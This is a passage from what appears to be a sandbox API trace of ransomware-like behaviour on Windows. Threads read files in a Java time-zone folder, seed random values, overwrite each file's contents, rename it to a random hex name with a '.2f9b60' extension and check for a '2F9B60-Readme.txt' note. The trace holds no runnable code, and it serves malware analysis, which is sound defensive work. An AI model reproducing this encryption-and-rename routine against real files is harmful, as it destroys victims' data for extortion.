returned 0x205002c0 [0202.841] sprintf (in: _Dest=0x205002c0, _Format="%c%c" | out: _Dest="d5") returned 2 [0202.841] sprintf (in: _Dest=0x205002c2, _Format="%c%c" | out: _Dest="c9") returned 2 [0202.841] sprintf (in: _Dest=0x205002c4, _Format="%c%c" | out: _Dest="79") returned 2 [0202.841] sprintf (in: _Dest=0x205002c6, _Format="%c%c" | out: _Dest="07") returned 2 [0202.841] sprintf (in: _Dest=0x205002c8, _Format="%c%c" | out: _Dest="71") returned 2 [0202.841] sprintf (in: _Dest=0x205002ca, _Format="%c%c" | out: _Dest="11") returned 2 [0202.841] sprintf (in: _Dest=0x205002cc, _Format="%c%c" | out: _Dest="7c") returned 2 [0202.841] sprintf (in: _Dest=0x205002ce, _Format="%c%c" | out: _Dest="0a") returned 2 [0202.841] sprintf (in: _Dest=0x205002d0, _Format="%c%c" | out: _Dest="0e") returned 2 [0202.841] sprintf (in: _Dest=0x205002d2, _Format="%c%c" | out: _Dest="19") returned 2 [0202.841] sprintf (in: _Dest=0x205002d4, _Format="%c%c" | out: _Dest="e5") returned 2 [0202.842] sprintf (in: _Dest=0x205002d6, _Format="%c%c" | out: _Dest="7c") returned 2 [0202.842] sprintf (in: _Dest=0x205002d8, _Format="%c%c" | out: _Dest="ff") returned 2 [0202.842] sprintf (in: _Dest=0x205002da, _Format="%c%c" | out: _Dest="4e") returned 2 [0202.842] RtlInitAnsiString (in: DestinationString=0x22c1f9a8, SourceString="d5c9790771117c0a0e19e57cff4e" | out: DestinationString="d5c9790771117c0a0e19e57cff4e") [0202.842] RtlAnsiStringToUnicodeString (in: DestinationString=0x22c1f978, SourceString="d5c9790771117c0a0e19e57cff4e", AllocateDestinationString=1 | out: DestinationString="d5c9790771117c0a0e19e57cff4e") returned 0x0 [0202.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce620a0 [0202.843] wcscat (in: _Dest=0x431a3ad0, _Source="d5c9790" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d5c9790") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d5c9790" [0202.843] wcscat (in: _Dest=0x431a3ad0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d5c9790.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d5c9790.2f9b60" [0202.843] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d5c9790.2f9b60", NtPathName=0x22c1f950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d5c9790.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1cec1050 [0237.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec1050) returned 1 [0237.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321e230) returned 1 [0237.697] NtQueryInformationFile (in: FileHandle=0x2964, IoStatusBlock=0x22c1f9b8, FileInformation=0x22c1f9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x22c1f9b8, FileInformation=0x22c1f9c8) returned 0x0 [0237.697] NtSetInformationFile (FileHandle=0x2964, IoStatusBlock=0x22c1f9b8, FileInformation=0x22c1f9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3ad0) returned 1 [0237.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce620a0) returned 1 [0237.957] FlushFileBuffers (hFile=0x2964) returned 1 [0238.253] CloseHandle (hObject=0x2964) returned 1 [0241.711] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a1b60 [0241.711] wcscpy (in: _Dest=0x431a1b60, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.711] wcscat (in: _Dest=0x431a1b60, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.711] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a1b60) returned 1 [0243.727] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8698c0) returned 1 Thread: id = 2800 os_tid = 0x1998 [0159.873] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\accra")) returned 0x20 [0165.796] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra", dwFileAttributes=0x20) returned 1 [0166.788] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Accra" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\accra"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2968 [0166.788] GetFileSizeEx (in: hFile=0x2968, lpFileSize=0x242cfc40 | out: lpFileSize=0x242cfc40*=181) returned 1 [0166.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40f0 [0166.788] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4060 [0166.789] NtQuerySystemTime (in: CurrentTime=0x242cfb00 | out: CurrentTime=0x242cfb00*=132462177719038000) returned 0x0 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x33c04137 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0xe3ce0d5 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x30088a6b [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x418b4356 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x541de163 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x5b47831c [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x1afb6c5c [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x2ce3e8f2 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x49cbcab7 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x512c499e [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x12887252 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x42a3a747 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x58ad52b9 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x16bd2112 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x6987e98f [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x577ce46b [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x788154be [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x38218ffb [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x7105c328 [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x3e280afb [0166.789] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x4874bdd1 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x69d5c3a6 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x6cc86fd7 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x6b154263 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x2369a215 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x7083b709 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x4ae2d29c [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x67115aeb [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x10039e03 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0x3416bdf6 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0xe0f55d9 [0166.790] RtlRandomEx (in: Seed=0x242cfaf0 | out: Seed=0x242cfaf0) returned 0xf15207c [0166.799] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4270 [0166.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0166.800] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4240 [0166.800] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0166.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f4060) returned 1 [0166.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0166.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0166.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.802] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422df200 [0166.802] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422c1180 [0166.802] ReadFile (in: hFile=0x2968, lpBuffer=0x422df200, nNumberOfBytesToRead=0xb5, lpNumberOfBytesRead=0x242cfaf0, lpOverlapped=0x0 | out: lpBuffer=0x422df200*, lpNumberOfBytesRead=0x242cfaf0*=0xb5, lpOverlapped=0x0) returned 1 [0166.804] SetFilePointerEx (in: hFile=0x2968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.804] WriteFile (in: hFile=0x2968, lpBuffer=0x422c1180*, nNumberOfBytesToWrite=0xb5, lpNumberOfBytesWritten=0x242cfaf4, lpOverlapped=0x0 | out: lpBuffer=0x422c1180*, lpNumberOfBytesWritten=0x242cfaf4*=0xb5, lpOverlapped=0x0) returned 1 [0183.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31e50 [0183.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31e80 [0183.401] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31e80) returned 1 [0183.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422c1180) returned 1 [0183.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422df200) returned 1 [0183.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0183.403] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0183.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d3a0 [0183.403] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18730 [0183.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec6620 [0183.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31e80 [0183.404] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31e80) returned 1 [0183.404] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d3c0 [0183.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31e80 [0183.405] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31eb0 [0183.405] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31eb0) returned 1 [0183.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec6620) returned 1 [0183.406] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18730) returned 1 [0183.406] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x43142720 [0187.974] SetFilePointerEx (in: hFile=0x2968, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0187.974] WriteFile (in: hFile=0x2968, lpBuffer=0x43142720*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x242cfc10, lpOverlapped=0x0 | out: lpBuffer=0x43142720*, lpNumberOfBytesWritten=0x242cfc10*=0xfc, lpOverlapped=0x0) returned 1 [0202.814] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bfc0 [0202.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5aab0 [0202.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205007d0 [0202.816] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205007d0) returned 1 [0202.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa) returned 0x42c0f1e0 [0202.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x205007d0 [0202.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500890 [0202.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500890) returned 1 [0202.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aab0) returned 1 [0202.818] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bfc0) returned 1 [0202.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x15) returned 0x42c0f200 [0202.818] sprintf (in: _Dest=0x42c0f200, _Format="%c%c" | out: _Dest="d5") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f202, _Format="%c%c" | out: _Dest="55") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f204, _Format="%c%c" | out: _Dest="db") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f206, _Format="%c%c" | out: _Dest="8e") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f208, _Format="%c%c" | out: _Dest="cf") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f20a, _Format="%c%c" | out: _Dest="53") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f20c, _Format="%c%c" | out: _Dest="8e") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f20e, _Format="%c%c" | out: _Dest="1f") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f210, _Format="%c%c" | out: _Dest="c4") returned 2 [0202.818] sprintf (in: _Dest=0x42c0f212, _Format="%c%c" | out: _Dest="51") returned 2 [0202.818] RtlInitAnsiString (in: DestinationString=0x242cfc88, SourceString="d555db8ecf538e1fc451" | out: DestinationString="d555db8ecf538e1fc451") [0202.818] RtlAnsiStringToUnicodeString (in: DestinationString=0x242cfc58, SourceString="d555db8ecf538e1fc451", AllocateDestinationString=1 | out: DestinationString="d555db8ecf538e1fc451") returned 0x0 [0202.818] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f0b0 [0202.819] wcscat (in: _Dest=0x1ce5aab0, _Source="d555d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d555d") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d555d" [0202.819] wcscat (in: _Dest=0x1ce5aab0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d555d.2f9b60") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d555d.2f9b60" [0202.819] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d555d.2f9b60", NtPathName=0x242cfc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\d555d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0202.819] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x4319e020 [0237.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4319e020) returned 1 [0237.697] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4321dba0) returned 1 [0237.697] NtQueryInformationFile (in: FileHandle=0x2968, IoStatusBlock=0x242cfc98, FileInformation=0x242cfca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x242cfc98, FileInformation=0x242cfca8) returned 0x0 [0237.697] NtSetInformationFile (FileHandle=0x2968, IoStatusBlock=0x242cfc98, FileInformation=0x242cfca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5aab0) returned 1 [0237.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f0b0) returned 1 [0237.956] FlushFileBuffers (hFile=0x2968) returned 1 [0238.248] CloseHandle (hObject=0x2968) returned 1 [0241.700] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x84) returned 0x431a3e30 [0241.700] wcscpy (in: _Dest=0x431a3e30, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\" [0241.700] wcscat (in: _Dest=0x431a3e30, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" [0241.700] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\2f9b60-readme.txt")) returned 0x20 [0243.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a3e30) returned 1 [0243.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebea80) returned 1 Thread: id = 2801 os_tid = 0x16ec [0159.874] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\addis_ababa")) returned 0x20 [0165.797] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa", dwFileAttributes=0x20) returned 1 [0166.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Africa\\Addis_Ababa" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\africa\\addis_ababa"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x296c [0166.768] GetFileSizeEx (in: hFile=0x296c, lpFileSize=0x23f1f700 | out: lpFileSize=0x23f1f700*=65) returned 1 [0166.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4450 [0166.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f40f0 [0166.769] NtQuerySystemTime (in: CurrentTime=0x23f1f5c0 | out: CurrentTime=0x23f1f5c0*=132462177718882000) returned 0x0 [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x5d2c321 [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x6bbdb40c [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x5c17e43c [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x35febc8b [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x34b9bcae [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x555d91f1 [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0xb4b03ba [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x29aacd4c [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x755b9c00 [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x14f8c7bf [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x57641a0b [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0xba23e09 [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x167c5503 [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x3c8bff60 [0166.769] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x728ba31f [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x7f17525 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x5043235e [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x709b909 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x69a05ed [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x7901aff0 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x170b5399 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x2aadea45 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x3d6e59e7 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x68c76479 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0xd314ef8 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x65ec9452 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x5a22dfdd [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x43679ff6 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x41c83bc [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x73721227 [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x5fbee38b [0166.770] RtlRandomEx (in: Seed=0x23f1f5b0 | out: Seed=0x23f1f5b0) returned 0x2e3dad7d [0166.781] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4150 [0166.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec69a0 [0166.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f4120 [0166.782] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec69a0) returned 1 [0166.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f40f0) returned 1 [0166.783] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0166.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec69a0 [0166.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f7030 [0166.784] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f7030) returned 1 [0166.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422d79e0 [0166.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x422db5f0 [0166.784] ReadFile (in: hFile=0x296c, lpBuffer=0x422d79e0, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x23f1f5b0, lpOverlapped=0x0 | out: lpBuffer=0x422d79e0*, lpNumberOfBytesRead=0x23f1f5b0*=0x41, lpOverlapped=0x0) returned 1 [0166.785] SetFilePointerEx (in: hFile=0x296c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.785] WriteFile (in: hFile=0x296c, lpBuffer=0x422db5f0*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x23f1f5b4, lpOverlapped=0x0 | out: lpBuffer=0x422db5f0*, lpNumberOfBytesWritten=0x23f1f5b4*=0x41, lpOverlapped=0x0) returned 1 [0183.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31eb0 [0183.408] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31ee0 [0183.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31ee0) returned 1 [0183.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422db5f0) returned 1 [0183.409] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422d79e0) returned 1 [0183.410] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec69a0) returned 1 [0183.411] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce18870) returned 1 [0183.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d31ee0 [0183.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18870 [0183.411] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cec69a0 [0183.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d31f10 [0183.412] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d31f10) returned 1 [0183.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42d31f10 [0183.412] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 